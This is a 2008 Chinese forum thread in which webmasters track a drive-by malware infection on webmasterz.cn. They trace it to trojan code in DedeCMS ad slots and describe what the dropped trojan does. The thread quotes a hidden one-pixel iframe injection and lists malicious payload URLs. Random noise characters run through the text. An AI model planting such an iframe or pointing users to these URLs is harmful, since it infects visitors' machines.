webmasterz.cn上的掛馬掛在哪了 我怎麼查了半天查不到？

請老大仔細的查查吧，剛又發現了幾個，全是免殺的~~一個勁的往外蹦，但是我的卡卡即不報~~
http://ppp.749571.com/dm/test.htm
' O5 k/ r$ d/ ?http://www.985676.cn/encrypt/mm.htm
) J" W7 U/ F5 b9 G$ X* Z7 i這兩個是免殺的，還有幾個沒記下來，
+ x4 v  l$ g% L* B8 W' a3 z; J7 q這掛馬的兔崽子有一手，隱藏的很好啊~~一般人都看不出來~

會在C盤下產生 CRESS1.EXE
6 \8 @1 Q$ K4 t7 g然後增加IE的BHO的木馬 還釋放驅動

昏 他藏得好隱秘  找到了 放毒得地方了
8 m8 R) k5 n2 v! e/ z
iframe src=h t t p://w w w.9856 76.cn/encrypt/mm.htm width=1 height=1></iframe>
然後再這個地址轉到ppp.749571.co m/dm/test.htm
為了跟蹤這個病毒 自己失誤的。。。。哎。修復中ing。。。。
靜水趕快清理了吧

原帖由 20082008 於 2008-1-9 16:33 發表
沒裝REAL就沒事，好在我重新裝的系統:

說的沒錯

原帖由 freelzyr 於 2008-1-10 16:47 發表
/ {# n5 i& g! n0 X4 M8 o1 F% N進dede後台
" c6 E  S! T) r' D+ {6 R檢查 ad_js.php?aid=1  
* O/ [+ |% ^( Q( W: Lad_js.php?aid=2
6 i6 i! X* N' Y7 zad_js.php?aid=3
! o$ Y" X" a. h4 R+ D5 s6 W  _1 ~  xad_js.php?aid=4

3 t/ n: ^! C1 u  e: o這幾個廣告 裡面的代碼
- b1 H0 W  k4 J6 v- Q在這幾個 掉茅廁位 裡面   含有 木馬的 代碼

; R: {/ t, r' o" L- u; B
這個檢查了沒有的

原帖由 靜水流深 於 2008-1-11 02:27 發表
) m: _- u  p: J/ T
& Q) c9 Q% S/ g0 \
這個檢查了沒有的

3 q( G7 r" a0 H" F4 L! B9 q4 q
我看過了，有掛馬的代碼，代碼已經在你的另一個貼子裡貼出來了

原帖由 靜水流深 於 2008-1-11 02:27 發表
' M- D- W, q) G  P# {- e
% Q& B- a% r" W9 j
7 [" _/ N+ l% E/ J$ k這個檢查了沒有的

木馬就是在這裡裡啊
在後台的掉茅廁位設置那
裡

現在明瞭.
# l: N* O' `3 M有人收流量做ppp.749571.co m的..
最近被掛馬的話. 都改成js了. 不用iframe了

菜鳥,怕怕,不敢看,啥時好了說一聲,我再去看風景